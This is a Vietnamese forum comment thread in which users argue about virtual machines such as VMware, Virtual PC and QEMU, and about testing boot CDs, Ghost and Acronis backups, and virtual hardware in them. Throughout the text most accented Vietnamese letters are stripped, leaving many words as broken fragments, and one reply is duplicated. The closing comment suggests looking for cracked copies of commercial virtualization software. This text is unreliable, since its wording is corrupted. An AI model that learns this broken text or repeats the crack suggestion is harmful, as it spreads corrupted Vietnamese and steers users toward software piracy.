- Ti tch bit my o v my tht, coi nh 2 my l c lp trn mng - My o c th s dng lm nhng vic g? Th code, th chng trnh mi, chy m phng, th mng, th h iu hnh mi,... Trn XP c th th c, nhng khi lp trnh th mt s bn mi, ti cng chy trn my o XP. My tht c th ti ci rt nhiu th, khng "sch", nhng my o, ti cc my khc nhau, cc h iu hnh khc nhau chy th: XP SP2, XP SP2, Vista Home, Vista Ultimate, 2000, 2003; Windows 32bit, 64bit; Linux, .... Nh th s hiu qu hn v c th test c nhiu th hn. Trong khi my tht, ch th c h iu hnh ang s dng. Ti thng ci cc my o trn mt Server trong LAN. Khi t my ca ti s c th truy cp vo v s dng. - My o cng c s dng trong vic h tr khch hng. Khch hng dng c th nhiu loi OS khc nhau, trong khi my tht ca bn khng ch trc tip. - My o c li ch do phn cng o c nh, nn vic ci t cc h iu hnh trn khng gp trc trc, mt thi gian nh khi ci my tht. Cui cng, DrHoang hy gi ng ci nick ca ti. GameProff Email: duyanh1234@*****.*** a ch: Hanoi Gp kin ca bn Hong ti khng ng tnh lm v cch tip cn vn ca bn rt phin din v hi "cc oan". Bn ch ch yu da vo vic my o khng h tr tt cho vic test cc file ISO o m h thp gi tr ca mi trng o ha. Bn nn tm hiu thm v cc tc dng ca my o v ng dng thc t ca chng trc khi a ra nhng nh gi nh vy. Ngi ta b ra tin ra mua VMWare khng phi test my ci file iso hiren, win-pe .... cng khng phi nghe nhc xem phim ... Cc phn mm my o cc k hu ch khi cn test phn mm, khi trin khai h thng cn s lng server ln trn h tng phn cng c hn, xy dng mi trng o ha phc v cho vic o to, kim th, .... Ti tin l bn cng c hiu bit khng t v my o v b thi gian s dng v nh gi, nhng cch vit ca bn s to n tng sai lc v my o i vi newbie v gy phn cm cho nhng ngi c hiu bit v IT. DrHoang Email: drhoang@*****.*** tr li
Cho bn centos5f4vn Nick ca bn kh nh, gi tt i khng ng vy OK. Sorry. Phi copy li thi, nh li sai na.. Vng vi gii p chi tit ca bn ti hiu My o c nhiu cng dng tht nhng vi bc pro, bn hng nhng ngi newbie, dng trung trung, sn sn nh ti tic l khng nhu cu y nh bn. Tht vng v th ISO, CD cho XPE, Hiren khng nh mong mun c th thi . Nu ti cn th phn mm no, th ngay trn XP ca mnh v c ghost 2 ngy/ ln. C g phi s trc trc ca anh no u u c iu ti bit chnh xc hn v ga tr s dng phn mm y mi trng tht. Khng cn g g b anh no c sau khi ci v c Shadow defender 10 lm thay cho ti chuyn y ri. ( C, D o c g l kh u ) C th bn ng l bc pro v IT nhng cch tr li cho cc ngi thc mc hi bn kh c o, phi bng hong mt my pht v bn lch cuu hi qu kho 1) Vi cu hi ca ti ghost tht,. restore c c khng, v ngi ni ti my o y ht nh my tht kia m. Ti c quyn thc mc bn ch, ng khng v dn IT pro Sign ni NEVER, phi lm ghost restore trong my tht thi.. Bn ch tr li ngn gn nh kiu wireless l c hay khng? C g qu kh u anh bn m phi chuyn qua l khng c ngha v khng c g hay ho c. Bn ni vy th vi ti dng hng nga , ci c chc phn mm th nghim th my o ca bn cng y nh bn, ch c g hay ho v qu tha thi.( ring vi ti thi y nh ). Ai thch dng my o l quyn c nhn mi ngi, xin cc bn ng ch trch quan im ny ca ti.. 2) Mt ln khc, h ci g bn thch bn gii thch hng i, ai nghe m chu v hiu g ni: Mt s thit b phn cng khc m chng trnh my o khng nhn c, n gin l n khng c m phng tng ng. Theo nguyn tc, vic m phng hon ton c th lm c. Nhng trn thc t, nhu cu lm vic khng nhiu. My o c tnh cho nhng vn khc hn l phi bt buc m phng tt c cc thit b. - ng dng ca my o rt a dng, bi vit trn khai thc vo yu t m vic o ha li khng quan tm. ( cn tip ) DrHoang
Email: drhoang@*****.*** drhoang G no l my o khng c m phng, ri sau li ni c th lm c. Tip nhu cu li khng nhiu ( mu thun ti a).. khai thc m vic o ho khng quan tm. Xin hi anh bn v chy th card sound cao cp, TV card.... u khng quan tm vy th ng ti khng cn my o m xi trong my tht i cho ri, nghe nhc ng card sound Audigy th thit ,. Xem, thu TV, DVD mi ch quan tm n my o lm g cho mt c. 3) bi Chy Linux t USB KQEMU l mt chng trnh h tr cc my o chy mt m, hiu qu hn. Trn Windows, cc chng trnh ny n gin l cc file .exe. Nn ni n v hi hay c hi th ni th no c? Tuy nhin do chng trnh gc l dng lnh, s dng phc tp, nn nhiu ngi khi mi dng n s c nhng hn ch nht nh QEMU-Puppy l dng Puppy chy trn QEMU. Dng ny c th khc, c th ging vi dng Ubuntu chy trn QEMU. Nn cc so snh vi QEMU-Puppy cha chc chun N dng cho newbie hay khng li l chuyn khc Chuyn g? Xin hi li anh bn Sao li i hng hai na, khc ri ging vi Ubuntu ri ni so snh cha chc chun mc d tc gi Qemu-Puppy ni Kqemu ni l driver ca windowsm ch khng phi ch l exe c hi,. Bn li ch quan theo thch mnh 1 ln na ch bai li cho bng c cho l so snh cha chun mc d cha th chy USB Linux y bao gi bit c hi li sau bao nhiu thi gian? Dng hay khng cho newbie l chuyn khc, tr li nh kiu nc i ca bn: khng th hiu bn mun ni ci g? Dr Hong
Giang Email: yellowriver2883@*****.*** Bc Centos ni rt ng... Bc Hong nn phn bit r my tht v my o. Hy coi l 2,3,4 ci pc hon ton c lp vi nhau. V th ng ngh l bn c th ci win trn my o ri ghost li n sau cop ra my tht ghost v ci C ang chy my tht (hay ngc li). Tt nhin vic ny ko th l khng lm c nu
vn mun lm (bn c th tm hiu su hn v phn ny nu mun to b ghost win dng cho mi my tnh; c th lm n trong my o y) Cn v phn my ci ng dng dos. Tui ni vy dnh cho cc bn mi hc IT c th c iu kin tm hiu thm v fdisk, ghost, chia ... m ko mun l hng ci mnh ang dng hay hn na l ng dng my o vo cc bi tp lp trnh dos, tm hiu h iu hnh.... Vic ni mng gia cc my o th n gin thi. Bn c th ci win xp, win 2000 trn my o v my tht ri bt tt tn tt ln v set mng ri test th mng coi no. V iu na l lc ti i hc tui ch c ci my P3 1G, Ram 128 m tui vn chy virtualPC hon thnh cc bi tp y. By gi tui cng ch dng my desktop HP5700 thui. Ko c server cao xa g u. iu m ti mun ni l bn khng c server nhng bn hon ton c th hc tp v th nghim server trn b my tnh bnh thng ca mnh. nguyenduy Email: nguyenduy162@*****.*** Hiu sai mch ch. C l dr Hong c mc ch khc khi sd my o. Nhng cng chnh v th m bi vit ca Dr Hong cng ch nhm mc ch dng VM test my ci thi. Nu s dng nh th th qu tht 299 l qu mc. Thm ch 1/10 gi cng cn mc. Cn chng ti th chng bao gi dng VM test nh th c. Mc ch chnh ca chng ti khi s dng VM l o ho server, test phn mm, pht trin phn mm trn mi trng ph hp m khng phi ci li my tht ca mnh. Nh m tnh n nh ca my tht c gi, cn my o th mun sao cng c. Chng hn mun pht trin phn mm trong mi trng HDH ting Nht, ch nh phi ci li my mnh ??? Ri lm sao m surf web, tham kho phi ko dr Hong. Cng ty ti 1 server trung bnh chy khong 4,5 my o trong , mi my o l mt mi trng khc nhau, cho mi d n khc nhau. Vic my o h HDH cng ch phi l vn g to tt. Chp bn n nh ln l xong. Nh vy, chc Dr Hong cng hiu mc ch chnh ca VM l g phi ko . Nu Dr Hong cn g thc mc. Chng ti s gii p c th v cng dng ca my o, cng nh ci gi y l ph hp hay khng ph hp. Trn trng knh cho. Pham Chuong Email: chuongpt@*****.*** a ch: Da Nang
Gop y Ti ch mong ngy no , c 1 bn no khc c c title Platinum member ( vit, sng tc, tr li ting Anh hn 1000 lt thi) qua mt ti ci vo ti Barts PE forum thi( www.911cd.net/forums y l mt trong nhng iu ti thy bc sut ngy ru rao ny. Bc s bc khng ru ln nh th th ngi ta khng bit l bc gii sao? Ti ngh bc nn hnh x kiu "hu x t nhin hng" th hay hn, khoe nhiu lm ngi ta lin tng n "thng rng ku to". Ti khng c chm bim g bc, vi li ni thng tht. centos5f4vn Email: centos4_vn@*****.***.** a ch: free4vn.org Li Ghost? V phn cng my o, ti gii thch rt k cch thc ca my o. Ti khng nht thit phi tr li thng vo cu hi ca DrHoang. Ti hn 1 ln tranh lun vi DrHoang nn ti s a ra thng tin v DrHoang t nh gi thng tin . V d v wireless, lc u DrHoang khng hiu NIC tht, NIC o nn ni l k nhn c. Ti gii thch cch thc NIC o v khng nh dng my o dng Internet qua wireless ca my tht c. V Sound, DrHoang hi ln lt, c nhn sound k, khi c tr li l c nhn, c play c file th li hi l c cht lng nh Audigy k,... Ti xc nhn card trn my o l Sound-Creative AudioPCI, cn cht lng hay khng th t DrHoang so snh nh gi. Quay tr li ci ghost. Nh ti ni l logic dng my o ghost my tht l rt t, chng c g ng quan tm. Khi cha c ci cu hi di y: File ghost y liu c restore li cho C thnh cng, khi my tnh ht boot c vo XP khng? Sau cu hi trn ca DrHoang, ti thy hi bt ng. Nh th l DrHoang cha hiu v my o, my tht. - Nh trn y, mt s ngi ni l my o chy ghost c. ng, n chy ghost c, chy ghost clone mt partition trn cng o thnh mt file hoc t partition ny sang partition khc. Nh th l tng ng vi my tht. - DrHoang li hiu l chy my o (v d chy a Hiren) sau chy ghost v hi xem n c nhn c cng tht hay khng.
y l 2 ci khc v DrHoang ang xoy vo vic Vi cu hi ca ti ghost tht,. restore c c khng, v ngi ni ti my o y ht nh my tht kia m. Ti c quyn thc mc bn ch, ng khng v dn IT pro Sign ni NEVER, phi lm ghost restore trong my tht thi. Trong nh cu trn thy thiu logic. My tht cn khng chy c th hy vng g my o. u DrHoang mun bit kh nng, cch thc hay mun nh ? Trong trng hp no th DrHoang cng nn t li cu hi v ni r dn IT Pro Si Gn m DrHoang gp, h ni nhng g. Nh th r rng hn. Ch vi mt cu hi nh ca DrHoang nh trn, ti mun tr li th no cng c. Ti ch ngi khi tr li xong, DrHoang li ly l thuyt newbie ra gii quyt. DrHoang nu mun trao i tip, hy t li cu hi. Ham_Hoc_IT Email: sdf@***.*** Thch phi Nga nhng li mua B v ua t nht cng phi bit Nga lm c g, B lm c g. ng ny ng Nga vi B v chng u c 4 chn v i c. Khng bit phi hi li Bod, li Nga la chng lm c nhng g, kh nng n u. Mun b, Nga tr uc hng ho cng knh, nng th ch t cng phi ng ci xe thung cho n ko ch ! Dr Hoang Email: drhoangf@*****.*** tr li @ Bn centos5f4vn Bn ni vy ti khng ng Nh trn y, mt s ngi ni l my o chy ghost c. ng, n chy ghost c, chy ghost clone mt partition trn cng o thnh mt file hoc t partition ny sang partition khc. Nh th l tng ng vi my tht.. Tng ng my tht( similar only ) nhng y khng phi v khng th no ging y my tht. v file ghost lm ra trong o ngm c xi c vo u. Mong bn ch dn. Trong khi nu ti th nghim cc phn mm my tht, ti cu h my tnh c tt thi. Do c ngi ni my o ging y ht my tht ti mi pht biu l khng th ng vi cu y Nh ti ni l logic dng my o ghost my tht l rt t bn ni vy ti hon ton ng khng ci g li nhng sao cu tip l chng c g ng quan tm li tr nn v ngha: l do n gin my o lm khng c
chuyn y nn bn cho l khng ng quan tm ch g?. ( cn tip ) Dr Hong
Bn thch True image quyn ca bn nn ai l ni xi Ghost bn cho l li Ghost sao? Ch nh mi ngi bn my TP HCM xi Ghost u d, less smarter hn bn, khng th no thy ci hay ca Acronis sao? DrHoang Email: drhoang@*****.*** tr li tip @ Bn centos5f4vn( tip theo ) Cc chuyn gia TP HCM ni l Ghost, back restore cho C khng th lm c, do khng th no ging ht nh my tht, ni lm tng t th qu ng .. Theo chuyn gia TP HCM card sound m phng Sound-Creative AudioPCI khng th no l Audigy, nn ti g th trn my o: khng chnh xc do driver m phng cng khc. Ci ti cn driver ging vy ch m phng th ch li g khi cn test chnh Audigy plugin mi lm ra trong XPE CD y? Wireless plugin cho XPE cng th, d bn c qua my tht nhng ri driver cng m phng na th th bao gi ti th Wireless plugin ca ti bit tht s c hiu qu y? Xin bn mch cho gii php i no?. Bn ni cha ng "My tht cn khng chy c th hy vng g my o. My tht khng chy c, trong DOS thc, ti vn restore ghost tt chy c li bnh thng ch nu lm ghost trong my o ngm ng l khng hy vng cu h my tnh g c. @ Bn Chng thn, Bn c ni sai mi: ti ru rao ci y sut ngy: bao nhiu ln hay ch khi no c ai cho l ti ch bit y khoa ti mi ni thi Tic l bn pht biu ci no v ti cng thiu chnh xc: ton ni lun lun ni th na th n m hi li bn bao nhiu ln, bn li khng chng minh. @ Bn Ham_Hoc_IT H ai hi mnh ci g,lch s tr li ng ngay cu hi ch y khng phi ch
k chuyn gio khoa thi xa xa. Hy vng l th. Dr Hong Dr Hoang Email: drhoang@*****.*** tr li Bn Giang thn, Sao bn li cho bn ghost a cu hnh a cu hnh c th lm trong my o, u ch c nhng vn quan trng l bn dng bn trong my o phc hi li C trc trc khng vo XP li c khng? mi l s thc t . C th ti cha hiu ni su xa ca cc i gia, v my o ni nhng iu ti dng l ci thc t ch ti khng to ra o m sau khng xi g trong thc t c. ng vi btn my o gip bn th nghim cc chng trnh DOS nhng ch ring g trong mi trng o thi. Nhng khi my tnh trc trc, bn vn phi xi d tht( bn ghost tht ), trong mi trng my tht mi phc hi li nh c thi. @ Chu Quc thn, Cha thy khoi my o tu chu thi nhng bc li thch xi tht hn. Tranh ci r thm vn , dng li l lch s c g phi ngng h chu. Bc thch hc hi thm chuyn gia TP HCM nn sut 2 ting phi xem h chy Vmware, Virtual PC nhung tic l h cha lm XPE th nghim nn cu hi ca bc vn cn b lng y.. Dr Hong
DrHong Email: drhoang@*****.*** tr li Chu Quc thn, n ni din n ny, chu nn nh phi ng php lch s vi mi ngi, tuyt i khng dng nhng ch tng t nh cha ni (undeducated) nh.
Chu ch l ch vit bi bo sm sm tin hc, by t n. Th chu bit ch n vy, bc hi li chu vit bao nhiu bi cao siu u cha, m dm phch li. Chu ra c t bo no cha m dm ni bo tin hc l sm sm. Dr Hong centos5f4vn Email: centos4_vn@*****.***.** a ch: free4vn.org Ghost? Dt tng th cho d: - Vic DrHoang mun test ci a mnh lm ra trn my o vi tt c nhng y/c th my o khng lm c. - Nhng ngi khc c y/c khc vi DrHoang vn c th dng my o c. Nh th v phn my o l r rng ri? V Driver ti ni ri v thng tin ngi c nhn nh c. V Ghost? Ti cng ni l khng c tng g hay ho v chuyn t my o ghost my tht. Tuy nhin ti cng ngi th xem sao. Ti khng th Ghost, ti th Acronis True Image 11. My tht chy XP, my o add cng ca my tht ( C, D) v ti vn chy ATI clone C (ca my tht) ra mt file image. Khi ra file image ri, ti khi ng t ATI trn my tht clone ngc li. Cn ci file image u th DrHoang t tm hiu. Nh vy ti tm khng nh l c th dng my o backup cng ca my tht. Restore t my o sang cng ca my tht? Ci ny chc chn khng c ri v khi h iu hnh ang chy. Chuyn gia ca DrHoang sao ni chung chung th? Ch tr li c/khng m khng chu gii thch g? Cu hi l: Ti sao phi chy my o clone cng ca my tht? Nu d nh dng my o hy vng cu h c my tht nh DrHoang ni th ti tr li lun l khi tnh cho mt. DrHoang Email: drhoang@*****.*** tr li v kt thc vn .
Bn centos5f4vn, Bn tr li dt im r nh vy, ti cng dt im v quan im khng dng my o ca ti. khng cn ci nhau ci ti chi cho mt c, cn lm chuyn khc na ch. ng khng? 1)Vic DrHoang mun test ci a mnh lm ra trn my o vi tt c nhng y/c th my o khng lm c. Nh th v phn my o l r rng ri?. OK 2) Dng Ghost hay PM trong XP o test th c chc nng ca 2 anh ny: OK, ti khng bn ci g thm. Nhng liu test y trong my o c ging y nh khi lm my tht li l chuyn khc. V xin tha vi bn l khi lm Ghost tht cho C tht, PM 805 phn vng li c nhiu vn mi bit nh c llost clusters, lost links C . File ghost lm ra cng c y nhng restore li khng c. PM cng th, khi lm phn vng m no c li losk links,.bad sectors s t chi khng chu lm. Tt c nhng th pht sinh khi lm trong my tht s mi bit. Nu bn test PM , Ghost trong my o cho o, liu n c bit khng hay ch l OK? Ti xin hi cc i gia yu thch test trong my o tr li cho chnh xc nh. 3) Ti sao phi chy my o clone cng ca my tht? Ti v ai ny u khen my o hot ng y nht nh my tht. 4) Bn no backup cho tht c, cn ci file image u th DrHoang t tm hiu. OK . File y theo chuyn gia TP HCM tr li , khng cn tm hiu na. N chung trong 1 file duy nht ca my o( ngy cng phnh to ra ) hon ton khng th bung ra restore khi my tnh trc trc. Do vy, kt lun bn c gng lm ra file image bng True Image chi na sau cng cng ch lm ngm chi . Thc t khng cu h g c v h h iu hnh tht c my o chy, tiu ht boot, lm sao cn v c my o c na. Dr Hong Giang Email: yellowriver2883@*****.*** Bc Hong vn khng tch bit c gia my o v my tht. >>Sao bn li cho bn ghost a cu hnh a cu hnh c th lm trong my o, u ch c nhng vn quan trng l bn dng bn trong my
o phc hi li C trc trc khng vo XP li c khng? mi l s thc t .>> Ci n ch lin quan g ti chuyn bn c my o hay khng c. Bn c my tht v bn to ci bn ghost cho my tht. Lc no hng th bn ghost li. Cn g my o ch. Xin nhc li ln na l my o chy trong mi trng HH my tht nh l mt PC khc trong mng lan. V hy coi n l mt ci my c lp c th truy cp vo my tht ca bn v ngc li. >>C th ti cha hiu ni su xa ca cc i gia, v my o ni nhng iu ti dng l ci thc t ch ti khng to ra o m sau khng xi g trong thc t c.>> o c th s dng vi nhiu mc ch ch khng phi to ra ch nghe nhc, xem phim, lm ci bn ghost nh. V d n gin nh: bn ang dng winxp. Bn mun c mt ci my chy win2000 server lm router trong mng. Ah m thi ch cn router. Bn c mt trang web t lm v mun c c quan c th truy cp vo trang web m bn li mun ch ng qun l trang web thn yu c. Th l bn ci my o 2000sv ln, ci iis ln, ci cc th linh tinh na ln...hihi. Ri bn thch qun l ci sv th no th qun l. Thch bt my ch lc no th bt. Khng thch na th xo n i ch nh hng g ti my tht ang chy xp c. Hay na l bn dng ci my tht truy cp vo my o test trang web ca bn nh l bn c mt server tht...(qun: khng phi l xp khng lm web vy c, nhng m c c ci my ch vn hn nhie) Vn ca bc loanh quanh vn ch l test ci XPE ca bc, nghe nhc... v ghost g thui. M tui th li khng hay xi xpe lm nn cng khng gip c bc nhiu. Tui quen xi hiren boot, ubuntu. Tui cm thy vy l khi my h, khi cn sa cha, sao lu phc hi d liu. Ni i ni li mi chn qu thui. Ch bit lm th no tranh ci vi bc n cng c. nguyenduy>>Cng ty ti 1 server trung bnh chy khong 4,5 my o trong , mi my o l mt mi trng khc nhau, cho mi d n khc nhau.>> bn hi chuyn gia ny coi no. My chuyn gia trong SG ca bn tui thy cha gip c bn nhiu u nu tht s h khng c nhu cu phi s dng my o. centos5f4vn Email: centos4_vn@*****.***.** a ch: free4vn.org End. 3) Ti sao phi chy my o clone cng ca my tht? Ti v ai ny u khen my o hot ng y nht nh my tht. 4) Bn no backup cho tht c, cn ci file image u th DrHoang t tm hiu. OK . File y theo chuyn gia TP HCM tr li , khng cn
tm hiu na. N chung trong 1 file duy nht ca my o( ngy cng phnh to ra ) hon ton khng th bung ra restore khi my tnh trc trc. Ci chnh l ch lu file image thi. Ti vn c cch dng c file restore li. Nn vi kt lun l khng dng my o cu h my tht th khi phi mt thi gian na. drhoang Email: drhoang@*****.*** tr li Chu Quc thn Bc nh ting Anh nhanh qu, c th sai khng kp sa li ch khng phi( undeducated). Chu ni sai be bt l nhng ch no na? l bc c gng trnh khi mng chu nng n y. Dn tin hc l phi bit php lch s, gp ng dng m c ku mi, ri Ai m cn c th gio dc chu ni g na u? Thi ni thng bng ting Vit cho chu d hiu hn . Chu hc c mi trng ( m.dy ) t hi no th, t lc bao nhiu tui ? Chu cn tr li ( v. g dc ) ht thuc cha, ng tic v bc khng cn tranh ci thm y. Tranh ci l bit php lch s cn chu, lc na cng ( m.dy )th tu chn . Ln li hay khng tu suy ngh mi ngi nhng lc na bc cng i p lch s. Chu nh tui ni b lp, ghost tm lm th o y, xi vo u c: cc chuyn vin Si gn ni khng c. c ci cho bng c Mr Centos5f4vn kt thc vn , chu mun tranh ci theo kiu g (m dy ) g na y? @ Bn Giang thn, Ti vn phn bit my o, tht y nhng v c qu nhiu ngi cho l my o ging ht my tht nn ti mi b sung tranh lun thm kia ch. Tui quen xi hiren boot, ubuntu Ubuntu s xi c khi no khi dng dng lnh rc ri, mi theo kp Windows v lm cho Bill gated s rt run. Bao nhiu nm vi m ngun m khp th gii qua bao nhiu phin bn i tn ny n ch mt ai IT pro ci tin g thm c sao? Nhng XPE 32 bit th ci tin nhiu th y, t ch khng ting, cu h n thun 2 nm sau i qua gii tr , ni mng v lm c hu nh mi th kh tin trn CD read only nh thu TV, DVD, xem DVD, ni modem, my in, wireless, nghe nhc qua card Creative Audigy tt, ch khng cn sound on
board. Dr Hong DrHong Email: drhoang@*****.*** tr li Bn centos5f4vn, Li mu thun na ri. Chnh mnh mi va ni trong gp trc l restore khng th c khi my tnh ang chy. Nhung khi bn khng boot vo c my tht ( trc trc), bn lm sao lm c my o trong my tht lm g trong lc XP ang chy. Acronis lm c iu phi thng ny sao l restore li khng cn reboot, chy trong CD sao? Chuyn sao kh tin qu . D bn c file image y u, khi bung ra my tht hay my o? Nu lm my tht, th no comment thm., Bn th qua PM 805 my o coi resize cc partition, convert y nh my tht, c khng no ? Dr Hong DrHong Email: drhoang@*****.*** tr li Bn centos5f4vn, Li mu thun na ri. Chnh mnh mi va ni trong gp trc l restore khng th c khi my tnh ang chy. Nhung khi bn khng boot vo c my tht ( trc trc), bn lm sao lm c my o trong my tht lm g trong lc XP ang chy. Acronis lm c iu phi thng ny sao l restore li khng cn reboot, chy trong CD sao? Chuyn sao kh tin qu . D bn c file image y u, khi bung ra my tht hay my o? Nu lm my tht, th no comment thm., Bn th qua PM 805 my o coi resize cc partition, convert y nh my tht, c khng no ? Dr Hong
DrHoang Email: drhoang@*****.*** b sung HI all , Sorry do nh qa nhanh tr li gp , khng kim tra li cho k nn ti nh nhm Bill gated , m ng ra l Bill Gates Xin li cc bn v chuyn nh nhm tn ca ng trm Microsoft ny. Dr Hong centos5f4vn Email: centos4_vn@*****.***.** a ch: free4vn.org Doc ky? V Ghost? Ti cng ni l khng c tng g hay ho v chuyn t my o ghost my tht. Tuy nhin ti cng ngi th xem sao. Ti khng th Ghost, ti th Acronis True Image 11. My tht chy XP, my o add cng ca my tht ( C, D) v ti vn chy ATI clone C (ca my tht) ra mt file image. Khi ra file image ri, ti khi ng t ATI trn my tht clone ngc li. DrHoang c k li on ti vit trnh phi gii thch mt thi gian. Ti cht li ln na l cc phn mm khi chy trn my o hy thc hin cc thao tc trn my o . Nn vi cc phn mm nh PQMagic, ... vn chy c trn my o. Vic can thip vo phn cng (c th l cng) tht l hn ch v c nhiu gii hn. V d nh clone disk c, nhng ghi d liu ln li phi cn thn v rt d gp li. Nn vi kt lun l khng dng my o cu h my tht th khi phi mt thi gian na. drhoang Email: drhoang@*****.*** tr li Bn Giang thn mn,
C quan ca bn nhiu nhn vin IT mng cao cp m li xi th cu h lm sn (ready made only) nh l Hiren, Ubuntu sao? H c cp nht, hoc sng to thm ci mi gi cho Ubuntu khng? Hng nga chc bn vo mng (chuyn vin mng) nhiu ri ch g?. iu tic l ngoi quc, cc trang web chn chnh( no warez ) nh www.911cd.net v www.msfn.org bn v XPE, WinPE, MultibootCD\DVD, USB boot s khng cho php bt c ai bn lun v Hirenboot CD c. Do vy, bn cng cn cp nht sm mi thng tin XPE 32 bit thm i.( XPE do t chnh mnh lm ra cho my mnh, b sung tng ci plugin hot ng ch khng ai lm sn nh Ubuntu trn mng cho bn download xi u.). Cho nn bn ng ni sao c loanh quanh XPE m bn li ni khng bit nn khng gip g. Chng no chuyn vin IT ca bn sng tc iu g mi, c bit cho Ubuntu d khi xi dng lnh rc ri, soft qu hn ch. Ti s xi qua Ubuntu v phc nhn vin IT ca bn bn st t, n tn rng c y. Hy vng ngy y khng xa lm. Dr Hong DUY LINH Email: hamsterd@*****.*** vi li vi Bo Quc Quc, Hy minh chng ti ngh ca Quc gii hn hn Bc Hong nhng im no i, ch ng ng y ln li chi ra( bng nhng ngn t tht h cp nh( cha ni, bit ci ch g ) vi ngi m mnh tm gi l bc. Ci hon ton khng hay ho g ngi c hiu bit tin hc u, ai ny u l dn c hc thc, hiu cha ng bn?. Quc khng bit ph bnh mt ngi th no l va phi, ng chun mc sao? Ch bc Hong bit ci ch g th ti cng ch bn ch bit ci ch g v php lch s ni y c. DUY LINH T Ngc Tun Email: tangoctuan@*****.*** a ch: HN
Gp cht Ti c bi vit ca bc Hong v nhng trao i xung quanh bi vit . Ti thy nhng iu trao i mang tnh xy dng l rt hay v thc s lm r rng thm mi th. ng sai th no ti khng bn n y (ti khng phi Newbie nhng cng cha dm t nhn l Pro) m ti ch bn n nhng "bi trao i" khng mang tnh xy dng ti thiu: @T CH BO QUC: Ti thy trong bi vit ca cu khng ng gp d ch mt cht xu no v kin thc nhng b li, cu li ng gp cho mi ngi mt "kh tng" nhng li l thiu vn ha v khng lch s => iu chng t cu l ngi rt thiu gio dc mt cch c bn. Nhng iu bc Hong ni v hi trc tip cu, cu u trn trnh khng (dm?) tr li v li tip tc a ra nhng li nhn xt rt v vn ha v thiu chnh xc khc => iu chng t cu l ngi rt cn v kin thc tht s khng c mt cht xu g (khng bit ti c ni qu khng ch theo nhng g ti NHN v C thy, th ti thy vy, d c th kin thc cu cng rt uyn bc, nhng rt tic li l nhng iu m khng c th hin ra y!!!). @Pham Chuong: Cng gn tng t nh T CH BO QUC, cu cng khng (dm?) tr li nhng cu hi ca bc Hong dnh cho cu m ch ton ni nhng iu rt phin din theo ring ca cu v hn na l rt kh nghe.Ti thy bc Hong ch xng l BC vi nhng ai gi bc l BC v t xng l CHU, khng h c g mun th hin s ti gii ca mnh thng qua ci ch tiu TUI TC (ch c nhng ngi rt ngc nghch mi da trn tiu ch ny nh gi ngi ti gii, v by gi ngi tr rt gii trong vic tip cn thng tin, v cc b my lnh o nc ta cng ang dn thc hin ch trng TR HA). Hy vng cc bn hy ginh cho nhau nhng s tn trng ti thiu trc ht l nhng ngi lch s, v sau , l ng gp cho nn IT VN (nghe to tt nhng thc s l nh vy y). Thn! Giang Email: yellowriver2993@*****.*** hix. Li phi post tip ri. quyt nh thi khng bn lun tip na ri m nghe bc Hong ni li phi vo vit tip. DRHOANG:C quan ca bn nhiu nhn vin IT mng cao cp m li xi th cu h lm sn (ready made only) nh l Hiren, Ubuntu sao? H c cp nht, hoc sng to thm ci mi gi cho Ubuntu khng? Hng nga chc bn vo mng (chuyn vin mng) nhiu ri ch g?>> Cha bao gi bo c quan tui nhiu nv IT mng cao cp c. Xi Hiren n gin v n p ng c nhu cu ca mnh. Mnh cng ch l ngi s dng bnh thng (hng ngy lm vic
vi my tnh ci winxp, khi hng hc th dng hiren, ubuntu sa; mun th nghim hdh mi, hc thm v mng, hay ci t ci g m mnh cm thy c th nh hng khng tt ti my tht mnh ang s dng (dnh cho cng vic) th ci trn my o...) thui ch cao siu g u. Mnh cng u c kin g v XPE c ch; ci no tt quen, thun tin th dng thi. Ubuntu, Mandriva, Suse...k ra th cng kh dng tht nhng l ngy xa ri. Gi bn th dnh cht thi gian th nghim qua xem sao (dng lun ci my o y cho tin). Bn hon ton c th s dng giao din ha hay dng lnh ty . Tui cng khng mun bn nhiu, lc ri. Ch ca bi ny l my o c m. Nguyn Hng Thai Email: nguyenthai@*****.*** a ch: USA Gop y mt chut Hi. Minh a xem qua cac bai vit cua cac ban. y minh xin noi la minh khng co y inh ph trach ai d hay ai gioi ma chi co y inh gop y cac ban co thm thng tin. Minh a tng xai qua nhng chng trinh Ao hoa (Virtualization). Hin nay nu noi v no thi chi co 2 chng trinh manh nht la Virtual PC va VMWare. Virtual PC tuy khng h tr nhiu h iu hanh bng VMWare nhng chay nhanh hn va d dang chinh sa hn. Theo ban drhoang (minh c xng la ban nha) thi no chay bao li, ly do rt dn gian. Cac chng trinh Ao hoa hin nay cha th khc phuc ht tinh trang ao hoa, no buc long phai ly thng s may tinh chu lam thng s cho no, va ia cng thi ly bng dung lng thc cht cua ia cng trn may tinh chu. Khi ban s dung bt ki chng trinh nao khi tao may ao cung hoi ban co mun tao ia ao hay khng. Thc cht cua vic nay la giup cac ban chay cac chng trinh trn 1 file tng trng cho ia cng nhng khng anh hng n cac thanh phn cua may chu. Co th luc ban lam a qun 1 phn nao o config hard disk cho nn khi xai hiren bi li. Vic ban thy no chi co 4GB thc cht o la 1 phn cua ao hoa. Virtual PC & VMWare ging nhau mt im la file ia cng ao. Bn Virtual PC nu ban la mt dn chuyn nhip thi co th thy no cho ban cac chon la v ia cng chng han nh Dynamic Expanding (T ng m rng) hay tao mc dung lng c inh. Bn VMWare cung th (Khng bit minh nh ro). Mc dung lng ti a cua mt file ia ao hoa chinh bng mc dung lng ti a cua mt phn vung lu tr file o (Chng han nu may ban co phn vung C hay goi chung la C vi mc la 20GB con trng thi file ao o co mc dung lng ti a la 20GB). V phn phn cng o la phn v sau khi ban a co cai h iu hanh. Thng thng bn Virtual PC se co phn tn goi la Virtual PC Additional, minh cai cai o v ri thi no se nhn ht moi th.
Chng han nh minh co th share folder vi may chu hay no co th nng cao phn giai man hinh (Ly do nay tai vi car d man hinh no khng ly cua minh ma do no vit ra sng, bt k cai h iu hanh gi chng na thi mc cao nht chi la 1024x768). Vn ao hoa hin nay ang rt nong vi o la tng lai cua may tinh hin tai, cac hang may tinh u ang nghin cu v no. Ao hoa co th giup moi ngi tng thm kha nng cho chic may tinh ma khng cn phai nng cp no. Virtual PC hay VMWare cung nh vy, ban co th dung no kim tra xem file iso co h hay khng, hay co th dung cai thm 1 h iu hanh mi ma khng lam may tinh h hong (Vi cai 2 h iu hanh la mt cng vic kho khn cn phai co mt chut hiu bit v h thng nu khng mun lam h may tinh). Hin nay mt s chng trinh ao hoa thng la thng mai, tuy nhin nu ban khng co kha nng mua ban quyn thi hay ln cac website tim cac ban retail hay full hay co crack cung c ( y cac ban dng co hiu nhm la minh khuyn khich cac ban xai phn mm bt hp phap, chi la danh cho cac ban khng co kha nng ma thi, ai co kha nng thi nn mua ban 